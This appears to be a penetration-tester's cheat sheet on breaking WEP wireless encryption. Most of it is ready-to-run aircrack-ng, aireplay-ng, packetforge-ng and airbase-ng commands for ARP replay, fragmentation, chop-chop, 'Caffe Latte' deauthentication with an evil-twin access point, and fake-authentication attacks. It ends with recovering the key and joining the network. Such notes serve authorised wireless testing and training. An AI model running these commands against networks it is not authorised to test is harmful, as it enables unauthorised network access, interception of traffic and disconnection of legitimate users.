WEP

WEP is a deprecated wireless traffic encryption protocol that uses RC4 with a small IV keyspace. Attacks against WEP typically involve gathering large amounts of packets (with cleartext IVs) to crack the WEP encryption key and then decrypt traffic. In general, get around 40,000 IVs/packets to crack.

# Start monitoring and collecting IV packets

# ARP Relay Request, relies on existing ARP traffic
sudo aireplay-ng -3 -b [bssid] -h [client MAC] wlan0mon

# Fragmentation attack
aireplay-ng -5 -b [bssid] -h [Client MAC] wlan0mon # Gather target packet
tcpdump -s 0 -n -e -r replay_src-0805-191842.cap # Inspect addresses
packetforge-ng -0 -a [bssid] -h [Client MAC] -k [SSID IP] -l [client IP] \\
-y fragment-0805-191851.xor -w forgedarp.cap # Forge ARP packet
aireplay-ng -2 -r forgedarp.cap -h [Client MAC] wlan0mon # Replay ARP packet
sudo aireplay-ng -3 -b [bssid] -h [Client MAC] wlan0mon # ARP Relay

# Chop-Chop
aireplay-ng -4 -b [bssid] -h [Client MAC] wlan0mon # Chopchop Target packet
Proceed same as fragmentation attack

# Crack WEP Key
aircrack-ng -b [bssid] WEP-01.cap

Another option is a deauthentication attack known as "Caffe Latte". Deauthenticating users from a real SSID, connecting to your evil twin, and then replaying incoming traffic to the real AP to generate ARP requests and IVs.

airodump-ng wlan0mon -c 1 -w WEP

# setup relay
aireplay-ng -6 -D -b [bssid] -h [Client MAC] wlan0mon
# start evil twin
airbase-ng -c 1 -a [bssid]  -e "ESSID" wlan0mon -W 1 -L
# deauth from real network
aireplay-ng -0 10 -a [bssid] -c [Client MAC]  wlan0mon

aircrack-ng -b [bssid] WEP-01.cap

In the event the SSID has no clients, you can also attempt a similar attack with fake authentication attempts:

aireplay-ng -1 1000 -o 1 -q 5 -e [ESSID] -a [bssid] -h [Client MAC] wlan0mon
sudo airodump-ng -c 3 --bssid [bssid] wlan0mon -w WEP
aireplay-ng -4 -b [bssid] -h [Client MAC] wlan0mon
packetforge-ng -0 -a [bssid] -h [Client MAC] -k [SSID IP] -l [Client IP] -y replay_dec-1229-160018.xor -w forgedarp.cap
aireplay-ng -2 -r forgedarp.cap wlan0mon

You can then just connect using the cracked key as the PSK.